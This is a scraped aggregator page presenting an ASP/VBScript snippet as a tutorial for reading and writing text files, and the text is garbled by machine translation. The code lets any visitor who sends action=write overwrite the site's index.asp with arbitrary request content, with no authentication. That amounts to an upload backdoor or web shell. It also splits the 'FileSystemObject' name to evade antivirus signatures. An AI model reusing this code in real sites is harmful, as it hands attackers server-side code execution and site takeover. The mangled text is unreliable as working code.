ASP read/write TXT operations

Source: Internet
Author: User

<% @ Language = "VBScript" codePage = "936" %>

<%
'Dim strtextcontent
'Sub readfiles ()
If trim (Request ("action") = "write" then
Objstr = "scripting." & "FileSystemObject"
Set objfso = Createobject (objstr)
Fo = server. mappath ("index. asp ")
Set objtext = objfso. createtextfile (FO, true)
Objtext. Write trim (Request ("textarea "))
Objtext. Close
End if
Dim objfso
Dim objtext
Dim objfile
Dim strtextcontent
Dim objdrive
'Create a file operation object instance
Objstr = "scripting." & "FileSystemObject"
Set objfso = Createobject (objstr)
'File to be opened
Objfile = "/index. asp"
Objfile = server. mappath (objfile)
'Response. Write objfile
'Response. End
If objfso. fileexists (objfile) then
'Open the TXT file and assign the value to the variable
Response. Write "file exists"
Set objtext = objfso. opentextfile (objfile, 1)
'Strtextcontent = objtext. readall ()
'Reading data cyclically
While not objtext. atendofstream 'to the end of the file
'While not objtext. atendofline' to the end of a row
Strtextcontent = strtextcontent & objtext. Readline ()
'Response. Write strtextcontent
'Response. Write "<br>"
Wend
Call objtext. Close
Else
Strtextcontent = "the file does not exist"
Response. End
End if
'End sub
'Reading files during the calling Process
'Readfiles ()
%>

<! Doctype HTML public "-// W3C // dtd xhtml 1.0 transitional // en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns = "http://www.w3.org/1999/xhtml">
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312"/>
<Title> untitled document </title>
</Head>



<% = strtextcontent %> <br>



Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.